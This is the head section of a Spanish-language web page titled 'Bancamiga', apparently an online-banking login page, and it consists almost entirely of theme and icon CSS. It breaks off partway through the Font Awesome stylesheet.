<html lang="es" class=""><head>
<meta charset="utf-8">

<title>    Bancamiga
</title>
<meta name="description" content="">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">

      <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
      <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<style type="text/css">
    
@media screen{

html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;}
body{margin:0;}
section{display:block;}
b,strong{font-weight:700;}
img{border:0;}
hr{box-sizing:content-box;height:0;}
button,input,select{color:inherit;font:inherit;margin:0;}
button{overflow:visible;}
button,select{text-transform:none;}
button{-webkit-appearance:button;cursor:pointer;}
table{border-collapse:collapse;border-spacing:0;}
td{padding:0;}
@media print{
*,:after,:before{background:transparent!important;color:#000!important;box-shadow:none!important;text-shadow:none!important;}
img,tr{page-break-inside:avoid;}
img{max-width:100%!important;}
h3,p{orphans:3;widows:3;}
h3{page-break-after:avoid;}
.label{border:1px solid #000;}
}
*,:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;}
html{font-size:10px;-webkit-tap-highlight-color:rgba(0,0,0,0);}
body{font-family:"Open Sans",Arial,Helvetica,Sans-Serif;font-size:13px;line-height:1.42857143;color:#333;background-color:#fff;}
button,input,select{font-family:inherit;font-size:inherit;line-height:inherit;}
img{vertical-align:middle;}
hr{margin-top:18px;margin-bottom:18px;border:0;border-top:1px solid #eee;}
h3,h4{font-family:"Open Sans",Arial,Helvetica,Sans-Serif;font-weight:500;line-height:1.1;color:inherit;}
h3{margin-top:18px;margin-bottom:9px;}
h4{margin-top:9px;margin-bottom:9px;}
h3{font-size:19px;}
h4{font-size:18px;}
p{margin:0 0 9px;}
.text-center{text-align:center;}
.container{margin-right:auto;margin-left:auto;padding-left:13px;padding-right:13px;}
@media (min-width:768px){
.container{width:746px;}
}
@media (min-width:992px){
.container{width:966px;}
}
@media (min-width:1200px){
.container{width:1166px;}
}
.row{margin-left:-13px;margin-right:-13px;}
.col-lg-3,.col-lg-9,.col-md-3,.col-md-9,.col-sm-3,.col-sm-9,.col-xs-3,.col-xs-9{position:relative;min-height:1px;padding-left:13px;padding-right:13px;}
.col-xs-3,.col-xs-9{float:left;}
.col-xs-9{width:75%;}
.col-xs-3{width:25%;}
@media (min-width:768px){
.col-sm-3,.col-sm-9{float:left;}
.col-sm-9{width:75%;}
.col-sm-3{width:25%;}
}
@media (min-width:992px){
.col-md-3,.col-md-9{float:left;}
.col-md-9{width:75%;}
.col-md-3{width:25%;}
}
@media (min-width:1200px){
.col-lg-3,.col-lg-9{float:left;}
.col-lg-9{width:75%;}
.col-lg-3{width:25%;}
}
table{background-color:transparent;}
fieldset{padding:0;margin:0;border:0;min-width:0;}
label{display:inline-block;max-width:100%;margin-bottom:5px;font-weight:700;}
.btn{display:inline-block;margin-bottom:0;font-weight:400;text-align:center;vertical-align:middle;touch-action:manipulation;cursor:pointer;background-image:none;border:1px solid transparent;white-space:nowrap;padding:6px 12px;font-size:13px;line-height:1.42857143;border-radius:2px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;}
.btn:active:focus,.btn:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;}
.btn:focus,.btn:hover{color:#333;text-decoration:none;}
.btn:active{outline:0;background-image:none;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125);}
.btn-primary{color:#fff;background-color:#3276b1;border-color:#2c699d;}
.btn-primary:focus{color:#fff;background-color:#275b89;border-color:#10263a;}
.btn-primary:active,.btn-primary:hover{color:#fff;background-color:#275b89;border-color:#1f496d;}
.btn-primary:active:focus,.btn-primary:active:hover{color:#fff;background-color:#1f496d;border-color:#10263a;}
.btn-primary:active{background-image:none;}
.btn-success{color:#fff;background-color:#739e73;border-color:#659265;}
.btn-success:focus{color:#fff;background-color:#5b835b;border-color:#314731;}
.btn-success:active,.btn-success:hover{color:#fff;background-color:#5b835b;border-color:#4c6e4c;}
.btn-success:active:focus,.btn-success:active:hover{color:#fff;background-color:#4c6e4c;border-color:#314731;}
.btn-success:active{background-image:none;}
.btn-danger{color:#fff;background-color:#a90329;border-color:#900323;}
.btn-danger:focus{color:#fff;background-color:#77021d;border-color:#130005;}
.btn-danger:active,.btn-danger:hover{color:#fff;background-color:#77021d;border-color:#540114;}
.btn-danger:active:focus,.btn-danger:active:hover{color:#fff;background-color:#540114;border-color:#130005;}
.btn-danger:active{background-image:none;}
.label{display:inline;padding:.2em .6em .3em;font-size:75%;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25em;}
.label:empty{display:none;}
.alert{padding:15px;margin-bottom:18px;border:1px solid transparent;border-radius:2px;}
.alert-info{background-color:#d6dde7;border-color:#9cb4c5;color:#346597;}
.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;border-radius:2px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.05);box-shadow:inset 0 1px 1px rgba(0,0,0,.05);}
.modal-dialog{position:relative;width:auto;margin:10px;}
.modal-content{position:relative;background-color:#fff;border:1px solid #999;border:1px solid rgba(0,0,0,.2);border-radius:3px;-webkit-box-shadow:0 3px 9px rgba(0,0,0,.5);box-shadow:0 3px 9px rgba(0,0,0,.5);background-clip:padding-box;outline:0;}
.modal-header{padding:15px;border-bottom:1px solid #e5e5e5;}
.modal-title{margin:0;line-height:1.42857143;}
.modal-body{position:relative;padding:20px;}
.modal-footer{padding:20px;text-align:right;border-top:1px solid #e5e5e5;}
.modal-footer .btn+.btn{margin-left:5px;margin-bottom:0;}
@media (min-width:768px){
.modal-dialog{width:600px;margin:30px auto;}
.modal-content{-webkit-box-shadow:0 5px 15px rgba(0,0,0,.5);box-shadow:0 5px 15px rgba(0,0,0,.5);}
}
.tooltip{position:absolute;z-index:1030;display:block;font-family:"Open Sans",Arial,Helvetica,Sans-Serif;font-style:normal;font-weight:400;letter-spacing:normal;line-break:auto;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;white-space:normal;word-break:normal;word-spacing:normal;word-wrap:normal;font-size:12px;line-height:1.4;opacity:0;filter:alpha(opacity=0);}
.clearfix:after,.clearfix:before,.container:after,.container:before,.modal-footer:after,.modal-footer:before,.modal-header:after,.modal-header:before,.row:after,.row:before{content:" ";display:table;}
.clearfix:after,.container:after,.modal-footer:after,.modal-header:after,.row:after{clear:both;}
.pull-right{float:right!important;}
.hide{display:none!important;}
@media (max-width:767px){
.hidden-xs{display:none!important;}
}


.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;}
.pull-right{float:right;}
.fa-check:before{content:"\f00c";}
.fa-times:before{content:"\f00d";}
.fa-lock:before{content:"\f023";}
.fa-eye-slash:before{content:"\f070";}
.fa-info:before{content:"\f129";}





.pull-right{float:right;}


.clearfix:after,.clearfix:before{content:"\0020";display:block;height:0;overflow:hidden;font-size:0;line-height:0;visibility:hidden;}
.clearfix:after{clear:both;}
.clearfix{zoom:1;}
#divMiniIcons{position:fixed;width:415px;right:10px;bottom:180px;z-index:9999;float:right;}
#divSmallBoxes{position:fixed;right:0;top:0;z-index:9999;}
@media screen and (max-width:450px) and (max-width:767px){
#divSmallBoxes{position:fixed;width:90%;right:0;top:0;}
}


.smart-form *,.smart-form :after,.smart-form :before{margin:0;padding:0;box-sizing:content-box;-moz-box-sizing:content-box;}
.smart-form .btn{box-sizing:border-box;-moz-box-sizing:border-box;}
.smart-form{margin:0;outline:0;color:#666;position:relative;}
.smart-form fieldset{display:block;padding:25px 14px 5px;border:none;background:rgba(255,255,255,.9);position:relative;}
.smart-form section{margin-bottom:15px;position:relative;}
.smart-form .label{display:block;margin-bottom:6px;line-height:19px;font-weight:400;font-size:13px;color:#333;text-align:left;white-space:normal;}
.note{margin-top:6px;padding:0 1px;font-size:11px;line-height:15px;color:#999;}
.smart-form .input,.smart-form .select{position:relative;display:block;font-weight:400;}
.smart-form .input input,.smart-form .select select{display:block;box-sizing:border-box;-moz-box-sizing:border-box;width:100%;height:32px;line-height:32px;padding:5px 10px;outline:0;border-width:1px;border-style:solid;border-radius:0;background:#fff;font:13px/16px 'Open Sans',Helvetica,Arial,sans-serif;color:#404040;appearance:normal;-moz-appearance:none;-webkit-appearance:none;}
.smart-form .select i{position:absolute;top:10px;right:11px;width:5px;height:11px;background:#fff;box-shadow:0 0 0 9px #fff;}
.smart-form .select i:after,.smart-form .select i:before{content:'';position:absolute;right:0;border-right:4px solid transparent;border-left:4px solid transparent;}
.smart-form .select i:after{bottom:0;border-top:4px solid #404040;}
.smart-form .select i:before{top:0;border-bottom:4px solid #404040;}
.smart-form .icon-append{position:absolute;top:5px;width:22px;height:22px;font-size:14px;line-height:22px;text-align:center;}
.smart-form .icon-append{right:5px;padding-left:3px;border-left-width:1px;border-left-style:solid;}
.smart-form .input .icon-append+input{padding-right:37px;}
.smart-form .row{margin:0 -15px;}
.smart-form .row:after{content:'';display:table;clear:both;}
.smart-form .col{float:left;min-height:1px;padding-right:15px;padding-left:15px;box-sizing:border-box;-moz-box-sizing:border-box;}
.smart-form .col-2{width:16.66%;}
.smart-form .col-8{width:66.67%;}
@media screen and (max-width:600px){
.smart-form .col{float:none;width:100%;}
}
.smart-form .select select{padding:5px;}
.smart-form .tooltip{position:absolute;z-index:99999;left:-9999px;padding:2px 8px 3px;font-size:11px;line-height:16px;font-weight:400;background:rgba(0,0,0,.9);color:#fff;opacity:0;transition:margin .3s,opacity .3s;-o-transition:margin .3s,opacity .3s;-ms-transition:margin .3s,opacity .3s;-moz-transition:margin .3s,opacity .3s;-webkit-transition:margin .3s,opacity .3s;}
.smart-form .tooltip:after{content:'';position:absolute;}
.smart-form .input input:focus+.tooltip{opacity:1;}
.smart-form .tooltip-top-right{bottom:100%;margin-bottom:15px;}
.smart-form .tooltip-top-right:after{top:100%;right:11px;border-top:4px solid rgba(0,0,0,.9);border-right:4px solid transparent;border-left:4px solid transparent;}
.smart-form .input input:focus+.tooltip-top-right{right:0;left:auto;margin-bottom:5px;}
.smart-form .icon-append,.smart-form .input input,.smart-form .select select{border-color:#BDBDBD;transition:border-color .3s;-o-transition:border-color .3s;-ms-transition:border-color .3s;-moz-transition:border-color .3s;-webkit-transition:border-color .3s;}
.smart-form .icon-append{color:#A2A2A2;}
.smart-form .input:hover input,.smart-form .select:hover select{border-color:#5D98CC;}
.smart-form .input input:focus,.smart-form .select select:focus{border-color:#3276B1;}
.profile-pic{text-align:right;}
.profile-pic>img{border-radius:0;position:relative;border:5px solid #fff;top:-30px;left:10px;display:inline-block;text-align:right;z-index:4;max-width:100px;margin-bottom:-30px;}
html{margin:0;padding:0;min-height:100%;background:url(../img/mybg.png) #fff;position:relative;}
body{margin:0;padding:0;min-height:100%;background:url(../img/mybg.png) #fff;direction:ltr;}
button,button:active,button:focus{outline:0;}
h3,h4{margin:0;font-family:"Open Sans",Arial,Helvetica,Sans-Serif;font-weight:300;}
label{font-weight:400;}
:focus{outline:0!important;}
button,input{-ms-touch-action:none!important;}
select:focus{outline:0;-webkit-box-shadow:none!important;-moz-box-shadow:none!important;box-shadow:none!important;}
#content{padding:10px 14px;position:relative;}
h3{display:block;font-size:19px;font-weight:400;margin:20px 0;line-height:normal;}
h4{line-height:normal;}
.fixed-header #main{margin-top:49px;}
#main{margin-left:220px;padding:0;padding-bottom:52px;min-height:500px;position:relative;}
fieldset{position:relative;}
.note{margin-top:6px;padding:0 1px;font-size:11px;line-height:15px;color:#999;}
.alert{margin-bottom:20px;margin-top:0;color:#675100;border-width:0;border-left-width:5px;padding:10px;border-radius:0;-webkit-border-radius:0;-moz-border-radius:0;}
.alert-info{border-color:#9cb4c5;color:#305d8c;background-color:#d6dde7;}
.well{background-color:#fbfbfb;border:1px solid #ddd;box-shadow:0 1px 1px #ececec;-webkit-box-shadow:0 1px 1px #ececec;-moz-box-shadow:0 1px 1px #ececec;position:relative;}
.btn,button{-webkit-tap-highlight-color:rgba(169,3,41,.5);}
.btn{border-radius:2px;-webkit-border-radius:2px;-moz-border-radius:2px;box-shadow:inset 0 -2px 0 rgba(0,0,0,.05);-moz-box-shadow:inset 0 -2px 0 rgba(0,0,0,.05);-webkit-box-shadow:inset 0 -2px 0 rgba(0,0,0,.05);}
.btn:active{position:relative;top:1px;left:1px;}
.padding-10{padding:10px!important;}
.margin-top-5{margin-top:5px!important;}
.margin-bottom-10{margin-bottom:10px!important;}
.margin-right-5{margin-right:5px!important;}
.text-center{text-align:center!important;}
.pull-right{float:right!important;}
.txt-color-white{color:#fff!important;}
.txt-color-teal{color:#568a89!important;}
.page-footer{height:52px;padding:15px 13px 0;padding-left:233px;border-top:1px solid #CECECE;background:#2a2725;width:100%;position:absolute;display:block;bottom:0;}
.fixed-page-footer .page-footer{position:fixed;z-index:901;}
@media (max-width:979px){
#main{width:100%!important;}
.page-footer{padding:15px 14px 0;}
.profile-pic>img{width:110px;}
.profile-pic{float:left;}
.profile-pic>img{margin-right:10px;}
}
@media (min-width:768px) and (max-width:979px){
#main{margin-left:0;}
}
@media (min-width:768px) and (max-width:880px){
#main{margin-left:0;overflow-x:hidden;}
}
@media (max-width:767px){
.profile-pic>img{width:100px;}
#main{margin-left:0;overflow-x:hidden;}
#content{padding-left:5px;padding-right:5px;}
}
@media only screen and (min-width:0) and (max-width:679px){
.profile-pic>img{width:90px;}
#main{margin-left:0;overflow-x:hidden;}
#content{padding-left:5px;padding-right:5px;}
}
@media only screen and (min-width:320px) and (max-width:479px){
.profile-pic{text-align:left;}
.profile-pic>img{width:90px;margin-left:0;top:-25px;margin-right:0;}
#main{margin-left:0;overflow-x:hidden;}
#content{padding-left:5px;padding-right:5px;}
}


.smart-style-2 .btn-success{background-color:#96bf48;border-color:#84A83E;}
.smart-style-2 .btn-danger{background-color:#DB4A67;border-color:#CA4862;}
body.smart-style-2{background:#fff;}
.smart-style-2 .page-footer{background-image:none;background-color:#2C3742;}
.smart-style-2 .btn-primary{background-color:#3b9ff3;border-color:#3292E2;}
.smart-style-2 .btn-primary:active,.smart-style-2 .btn-primary:focus,.smart-style-2 .btn-primary:hover{background-color:#3E90D4;border-color:#2F7DBE;}
.smart-style-2 .btn-success:active,.smart-style-2 .btn-success:focus,.smart-style-2 .btn-success:hover{background-color:#89AD45;border-color:#78973B;}
.smart-style-2 .btn-danger:active,.smart-style-2 .btn-danger:focus,.smart-style-2 .btn-danger:hover{background-color:#CF4762;border-color:#C0455E;}

.btn{border-radius:2px;-webkit-border-radius:2px;-moz-border-radius:2px;box-shadow:inset 0 -2px 0 rgba(0,0,0,.05);-moz-box-shadow:inset 0 -2px 0 rgba(0,0,0,.05);-webkit-box-shadow:inset 0 -2px 0 rgba(0,0,0,.05);-webkit-box-shadow:0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12),0 3px 1px -2px rgba(0,0,0,.2);box-shadow:0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12),0 3px 1px -2px rgba(0,0,0,.2);}
.btn-primary{color:#fff;background-color:#005291!important;border:none;}
.btn-success{color:#fff;background-color:#56a419;border:none;}
.mainRegister{margin:0!important;width:100%;height:100vh;position:relative;display:table;overflow:hidden;background-image:url(../img/bg/BancamigaEnLinea.jpg);background-size:cover;}
.smart-form .tooltip{z-index:1!important;}
.smart-style-2 .page-footer{color:#fff!important;background:#005291!important;}
.modal-content{background-color:rgba(255,255,255,.9)!important;}
.smart-form fieldset{background-color:transparent!important;}
.modal-header{border-bottom:1px solid #fafafa!important;}
.modal-footer{border-top:1px solid #fafafa!important;}
.move_me{animation:mover 1s linear infinite;}
}

input.loginpass{font-family:text-security-disc!important;-webkit-text-security:disc;}

*{<br>:text!important;-webkit-user-select<br>:text!important;-moz-user-select<br>:text!important;-ms-user-select<br>:text!important;}

*{<br>:text!important;-webkit-user-select<br>:text!important;-moz-user-select<br>:text!important;-ms-user-select<br>:text!important;}

@keyframes mover{50%{font-size:16px;}}

@font-face{font-family:text-security-disc;src:url("../fonts/text-security-disc.woff");}
</style>


<style type="text/css">
        body.stop-scrolling {
            height: auto !important;
            overflow: visible !important;
        }

        .menu-notification {
            background-color: orange !important;
            border-radius: 12% !important;
            transition-duration: 0.3s !important;
            right: -25px;
        }

        @font-face {
            font-family: text-security-disc;
            src: url("fonts/text-security-disc.woff");
        }

        input.loginpass {
            font-family: text-security-disc !important;
            -webkit-text-security: disc;
        }

        .align-middle {
            vertical-align: middle !important;
        }
    </style>
<style type="text/css">.jqstooltip { position: absolute;left: 0px;top: 0px;visibility: hidden;background: rgb(0, 0, 0) transparent;background-color: rgba(0,0,0,0.6);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#99000000, endColorstr=#99000000);-ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#99000000, endColorstr=#99000000)";color: white;font: 10px arial, san serif;text-align: left;white-space: nowrap;padding: 5px;border: 1px solid white;z-index: 10000;}.jqsfield { color: white;font: 10px arial, san serif;text-align: left;}</style><style type="text/css">* {<br>		-webkit-user-select: text !important;<br>		-moz-user-select: text !important;<br>		-ms-user-select: text !important;<br>		 user-select: text !important;<br>	}</style><style type="text/css">* {<br>        -webkit-user-select: text !important;<br>        -moz-user-select: text !important;<br>        -ms-user-select: text !important;<br>         user-select: text !important;<br>    }</style>






   <style type="text/css">
          /*!
 * SmartAdmin v1.8.2 ()
 * Copyright 2011-2016 
 *//*!
 *  Font Awesome 4.2.0 by @davegandy - http://fontawesome.io - @fontawesome
 *  License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
 */@font-face{font-family:FontAwesome;src:url(../../fonts/fontawesome-webfont.eot?v=4.5.0);src:url(../../fonts/fontawesome-webfont.eot?v=4.5.0#iefix) format('embedded-opentype'),url(../../fonts/fontawesome-webfont.woff2?v=4.5.0) format('woff2'),url(../../fonts/fontawesome-webfont.woff?v=4.5.0) format('woff'),url(../../fonts/fontawesome-webfont.ttf?v=4.5.0) format('truetype'),url(../../fonts/fontawesome-webfont.svg?v=4.5.0#fontawesomeregular) format('svg');font-weight:400;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.28571429em;text-align:center}.fa-ul{padding-left:0;margin-left:2.14285714em;list-style-type:none}.fa-ul>li{position:relative}.fa-li{position:absolute;left:-2.14285714em;width:2.14285714em;top:.14285714em;text-align:center}.fa-li.fa-lg{left:-1.85714286em}.fa-border{padding:.2em .25em .15em;border:solid .08em #eee;border-radius:.1em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left{margin-right:.3em}.fa.fa-pull-right{margin-left:.3em}.pull-right{float:right}.pull-left{float:left}.fa.pull-left{margin-right:.3em}.fa.pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.fa-rotate-90{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=1);-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=2);-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=3);-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1);-webkit-transform:scale(-1,1);-ms-transform:scale(-1,1);transform:scale(-1,1)}.fa-flip-vertical{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1);-webkit-transform:scale(1,-1);-ms-transform:scale(1,-1);transform:scale(1,-1)}:root .fa-flip-horizontal,:root .fa-flip-vertical,:root .fa-rotate-180,:root .fa-rotate-270,:root .fa-rotate-90{filter:none}.fa-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.fa-stack-1x,.fa-stack-2x{position:absolute;left:0;width:100%;text-align:center}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-glass:before{content:"\f000"}.fa-music:before{content:"\f001"}.fa-search:before{content:"\f002"}.fa-envelope-o:before{content:"\f003"}.fa-heart:before{content:"\f004"}.fa-star:before{content:"\f005"}.fa-star-o:before{content:"\f006"}.fa-user:before{content:"\f007"}.fa-film:before{content:"\f008"}.fa-th-large:before{content:"\f009"}.fa-th:before{content:"\f00a"}.fa-th-list:before{content:"\f00b"}.fa-check:before{content:"\f00c"}.fa-close:before,.fa-remove:before,.fa-times:before{content:"\f00d"}.fa-search-plus:before{content:"\f00e"}.fa-search-minus:before{content:"\f010"}.fa-power-off:before{content:"\f011"}.fa-signal:before{content:"\f012"}.fa-cog:before,.fa-gear:before{content:"\f013"}.fa-trash-o:before{content:"\f014"}.fa-home:before{content:"\f015"}.fa-file-o:before{content:"\f016"}.fa-clock-o:before{content:"\f017"}.fa-road:before{content:"\f018"}.fa-download:before{content:"\f019"}.fa-arrow-circle-o-down:before{content:"\f01a"}.fa-arrow-circle-o-up:before{content:"\f01b"}.fa-inbox:before{content:"\f01c"}.fa-play-circle-o:before{content:"\f01d"}.fa-repeat:before,.fa-rotate-right:before{content:"\f01e"}.fa-refresh:before{content:"\f021"}.fa-list-alt:before{content:"\f022"}.fa-lock:before{content:"\f023"}.fa-flag:before{content:"\f024"}.fa-headphones:before{content:"\f025"}.fa-volume-off:before{content:"\f026"}.fa-volume-down:before{content:"\f027"}.fa-volume-up:before{content:"\f028"}.fa-qrcode:before{content:"\f029"}.fa-barcode:before{content:"\f02a"}.fa-tag:before{content:"\f02b"}.fa-tags:before{content:"\f02c"}.fa-book:before{content:"\f02d"}.fa-bookmark:before{content:"\f02e"}.fa-print:before{content:"\f02f"}.fa-camera:before{content:"\f030"}.fa-font:before{content:"\f031"}.fa-bold:before{content:"\f032"}.fa-italic:before{content:"\f033"}.fa-text-height:before{content:"\f034"}.fa-text-width:before{content:"\f035"}.fa-align-left:before{content:"\f036"}.fa-align-center:before{content:"\f037"}.fa-align-right:before{content:"\f038"}.fa-align-justify:before{content:"\f039"}.fa-list:before{content:"\f03a"}.fa-dedent:before,.fa-outdent:before{content:"\f03b"}.fa-indent:before{content:"\f03c"}.fa-video-camera:before{content:"\f03d"}.fa-image:before,.fa-photo:before,.fa-picture-o:before{content:"\f03e"}.fa-pencil:before{content:"\f040"}.fa-map-marker:before{content:"\f041"}.fa-adjust:before{content:"\f042"}.fa-tint:before{content:"\f043"}.fa-edit:before,.fa-pencil-square-o:before{content:"\f044"}.fa-share-square-o:before{content:"\f045"}.fa-check-square-o:before{content:"\f046"}.fa-arrows:before{content:"\f047"}.fa-step-backward:before{content:"\f048"}.fa-fast-backward:before{content:"\f049"}.fa-backward:before{content:"\f04a"}.fa-play:before{content:"\f04b"}.fa-pause:before{content:"\f04c"}.fa-stop:before{content:"\f04d"}.fa-forward:before{content:"\f04e"}.fa-fast-forward:before{content:"\f050"}.fa-step-forward:before{content:"\f051"}.fa-eject:before{content:"\f052"}.fa-chevron-left:before{content:"\f053"}.fa-chevron-right:before{content:"\f054"}.fa-plus-circle:before{content:"\f055"}.fa-minus-circle:before{content:"\f056"}.fa-times-circle:before{content:"\f057"}.fa-check-circle:before{content:"\f058"}.fa-question-circle:before{content:"\f059"}.fa-info-circle:before{content:"\f05a"}.fa-crosshairs:before{content:"\f05b"}.fa-times-circle-o:before{content:"\f05c"}.fa-check-circle-o:before{content:"\f05d"}.fa-ban:before{content:"\f05e"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrow-down:before{content:"\f063"}.fa-mail-forward:before,.fa-share:before{content:"\f064"}.fa-expand:before{content:"\f065"}.fa-compress:before{content:"\f066"}.fa-plus:before{content:"\f067"}.fa-minus:before{content:"\f068"}.fa-asterisk:before{content:"\f069"}.fa-exclamation-circle:before{content:"\f06a"}.fa-gift:before{content:"\f06b"}.fa-leaf:before{content:"\f06c"}.fa-fire:before{content:"\f06d"}.fa-eye:before{content:"\f06e"}.fa-eye-slash:before{content:"\f070"}.fa-exclamation-triangle:before,.fa-warning:before{content:"\f071"}.fa-plane:before{content:"\f072"}.fa-calendar:before{content:"\f073"}.fa-random:before{content:"\f074"}.fa-comment:before{content:"\f075"}.fa-magnet:before{content:"\f076"}.fa-chevron-up:before{content:"\f077"}.fa-chevron-down:before{content:"\f078"}.fa-retweet:before{content:"\f079"}.fa-shopping-cart:before{content:"\f07a"}.fa-folder:before{content:"\f07b"}.fa-folder-open:before{content:"\f07c"}.fa-arrows-v:before{content:"\f07d"}.fa-arrows-h:before{content:"\f07e"}.fa-bar-chart-o:before,.fa-bar-chart:before{content:"\f080"}.fa-twitter-square:before{content:"\f081"}.fa-facebook-square:before{content:"\f082"}.fa-camera-retro:before{content:"\f083"}.fa-key:before{content:"\f084"}.fa-cogs:before,.fa-gears:before{content:"\f085"}.fa-comments:before{content:"\f086"}.fa-thumbs-o-up:before{content:"\f087"}.fa-thumbs-o-down:before{content:"\f088"}.fa-star-half:before{content:"\f089"}.fa-heart-o:before{content:"\f08a"}.fa-sign-out:before{content:"\f08b"}.fa-linkedin-square:before{content:"\f08c"}.fa-thumb-tack:before{content:"\f08d"}.fa-external-link:before{content:"\f08e"}.fa-sign-in:before{content:"\f090"}.fa-trophy:before{content:"\f091"}.fa-github-square:before{content:"\f092"}.fa-upload:before{content:"\f093"}.fa-lemon-o:before{content:"\f094"}.fa-phone:before{content:"\f095"}.fa-square-o:before{content:"\f096"}.fa-bookmark-o:before{content:"\f097"}.fa-phone-square:before{content:"\f098"}.fa-twitter:before{content:"\f099"}.fa-facebook-f:before,.fa-facebook:before{content:"\f09a"}.fa-github:before{content:"\f09b"}.fa-unlock:before{content:"\f09c"}.fa-credit-card:before{content:"\f09d"}.fa-feed:before,.fa-rss:before{content:"\f09e"}.fa-hdd-o:before{content:"\f0a0"}.fa-bullhorn:before{content:"\f0a1"}.fa-bell:before{content:"\f0f3"}.fa-certificate:before{content:"\f0a3"}.fa-hand-o-right:before{content:"\f0a4"}.fa-hand-o-left:before{content:"\f0a5"}.fa-hand-o-up:before{content:"\f0a6"}.fa-hand-o-down:before{content:"\f0a7"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-globe:before{content:"\f0ac"}.fa-wrench:before{content:"\f0ad"}.fa-tasks:before{content:"\f0ae"}.fa-filter:before{content:"\f0b0"}.fa-briefcase:before{content:"\f0b1"}.fa-arrows-alt:before{content:"\f0b2"}.fa-group:before,.fa-users:before{content:"\f0c0"}.fa-chain:before,.fa-link:before{content:"\f0c1"}.fa-cloud:before{content:"\f0c2"}.fa-flask:before{content:"\f0c3"}.fa-cut:before,.fa-scissors:before{content:"\f0c4"}.fa-copy:before,.fa-files-o:before{content:"\f0c5"}.fa-paperclip:before{content:"\f0c6"}.fa-floppy-o:before,.fa-save:before{content:"\f0c7"}.fa-square:before{content:"\f0c8"}.fa-bars:before,.fa-navicon:before,.fa-reorder:before{content:"\f0c9"}.fa-list-ul:before{content:"\f0ca"}.fa-list-ol:before{content:"\f0cb"}.fa-strikethrough:before{content:"\f0cc"}.fa-underline:before{content:"\f0cd"}.fa-table:before{content:"\f0ce"}.fa-magic:before{content:"\f0d0"}.fa-truck:before{content:"\f0d1"}.fa-pinterest:before{content:"\f0d2"}.fa-pinterest-square:before{content:"\f0d3"}.fa-google-plus-square:before{content:"\f0d4"}.fa-google-plus:before{content:"\f0d5"}.fa-money:before{content:"\f0d6"}.fa-caret-down:before{content:"\f0d7"}.fa-caret-up:before{content:"\f0d8"}.fa-caret-left:before{content:"\f0d9"}.fa-caret-right:before{content:"\f0da"}.fa-columns:before{content:"\f0db"}.fa-sort:before,.fa-unsorted:before{content:"\f0dc"}.fa-sort-desc:before,.fa-sort-down:before{content:"\f0dd"}.fa-sort-asc:before,.fa-sort-up:before{content:"\f0de"}.fa-envelope:before{content:"\f0e0"}.fa-linkedin:before{content:"\f0e1"}.fa-rotate-left:before,.fa-undo:before{content:"\f0e2"}.fa-gavel:before,.fa-legal:before{content:"\f0e3"}.fa-dashboard:before,.fa-tachometer:before{content:"\f0e4"}.fa-comment-o:before{content:"\f0e5"}.fa-comments-o:before{content:"\f0e6"}.fa-bolt:before,.fa-flash:before{content:"\f0e7"}.fa-sitemap:before{content:"\f0e8"}.fa-umbrella:before{content:"\f0e9"}.fa-clipboard:before,.fa-paste:before{content:"\f0ea"}.fa-lightbulb-o:before{content:"\f0eb"}.fa-exchange:before{content:"\f0ec"}.fa-cloud-download:before{content:"\f0ed"